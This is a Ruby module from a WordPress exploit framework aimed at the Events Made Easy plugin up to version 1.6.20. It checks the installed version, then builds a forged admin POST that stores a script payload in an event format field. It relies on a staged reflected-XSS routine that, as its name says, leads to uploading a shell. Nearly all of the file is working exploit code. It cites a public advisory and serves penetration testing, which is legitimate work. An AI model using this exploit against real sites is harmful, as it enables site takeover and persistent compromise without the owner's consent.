# frozen_string_literal: true

class Wpxf::Exploit::EventsMadeEasyReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Events MAde Easy <= 1.6.20 Reflected XSS Shell Upload',
      author: [
        'Job Diesveld', # Discovery
        'rastating'     # WPXF module
      ],
      references: [
        ['WPVDB', '8595'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html']
      ],
      date: 'Aug 04 2016'
    )

    register_option(
      IntegerOption.new(
        name: 'event_id',
        desc: 'A valid event ID (can be found in the URL of an event page)',
        required: true
      )
    )
  end

  def check
    check_plugin_version_from_readme('events-made-easy', '1.6.21')
  end

  def event_id
    normalized_option_value('event_id')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, "admin.php?page=events-manager&eme_admin_action=update_event&event_id=#{event_id}")
  end

  def initial_script
    create_basic_post_script(vulnerable_url, form_fields)
  end

  def form_fields
    {
      'event_status' => [1, 2, 5].sample,
      'event_contactperson_id' => -1,
      'event_seats' => 0,
      'price' => 0,
      'currency' => 'EUR',
      'eme_prop_max_allowed' => Utility::Text.rand_numeric(2),
      'eme_prop_min_allowed' => Utility::Text.rand_numeric(1),
      'eme_prop_rsvp_discount' => '',
      'eme_prop_rsvp_discountgroup' => '',
      'rsvp_number_days' => Utility::Text.rand_numeric(1),
      'rsvp_number_hours' => Utility::Text.rand_numeric(1),
      'eme_prop_rsvp_end_target' => 'start',
      'event_name' => Utility::Text.rand_alphanumeric(10),
      'event_slug' => Utility::Text.rand_alphanumeric(10),
      'localised_recurrence_date' => Time.now.strftime('%d/%m/%Y'),
      'recurrence_start_date' => Time.now.strftime('%Y-%m-%d'),
      'localised_recurrence_end_date' => Time.now.strftime('%d/%m/%Y'),
      'recurrence_end_date' => Time.now.strftime('%Y-%m-%d'),
      'recurrence_freq' => ['daily', 'weekly', 'monthly'].sample,
      'recurrence_interval' => '',
      'recurrence_byweekno' => 1,
      'recurrence_byday' => 1,
      'localised_event_start_date' => Time.now.strftime('%d/%m/%Y'),
      'event_start_date' => Time.now.strftime('%Y-%m-%d'),
      'localised_event_end_date' => Time.now.strftime('%d/%m/%Y'),
      'event_end_date' => Time.now.strftime('%Y-%m-%d'),
      'event_start_time' => Time.now.strftime('%I:%M%p'),
      'event_end_time' => Time.now.strftime('%I:%M%p'),
      'eme_prop_event_page_title_format_tpl' => 0,
      'event_page_title_format' => Utility::Text.rand_alphanumeric(10),
      'eme_prop_event_single_event_format_tpl' => 0,
      'event_single_event_format' => "<script>#{xss_ascii_encoded_include_script}<\\/script>",
      'eme_prop_event_contactperson_email_body_tpl' => 0,
      'event_contactperson_email_body' => '',
      'eme_prop_event_registration_recorded_ok_html_tpl' => 0,
      'event_registration_recorded_ok_html' => '',
      'eme_prop_event_respondent_email_body_tpl' => 0,
      'event_respondent_email_body' => '',
      'eme_prop_event_registration_pending_email_body_tpl' => 0,
      'event_registration_pending_email_body' => '',
      'eme_prop_event_registration_updated_email_body_tpl' => 0,
      'event_registration_updated_email_body' => '',
      'eme_prop_event_registration_cancelled_email_body_tpl' => 0,
      'event_registration_cancelled_email_body' => Utility::Text.rand_alphanumeric(10),
      'eme_prop_event_registration_denied_email_body_tpl' => 0,
      'event_registration_denied_email_body' => Utility::Text.rand_alphanumeric(10),
      'eme_prop_event_registration_form_format_tpl' => 0,
      'event_registration_form_format' => '',
      'eme_prop_event_cancel_form_format_tpl' => 0,
      'event_cancel_form_format' => '',
      'location_name' => Utility::Text.rand_alphanumeric(5),
      'location_address' => Utility::Text.rand_alphanumeric(5),
      'location_town' => Utility::Text.rand_alphanumeric(5),
      'location_latitude' => '',
      'location_longitude' => '',
      'content' => Utility::Text.rand_alphanumeric(10),
      'event_image_url' => '',
      'event_image_id' => '',
      'event_url' => '',
      'event_update_button' => ''
    }
  end
end
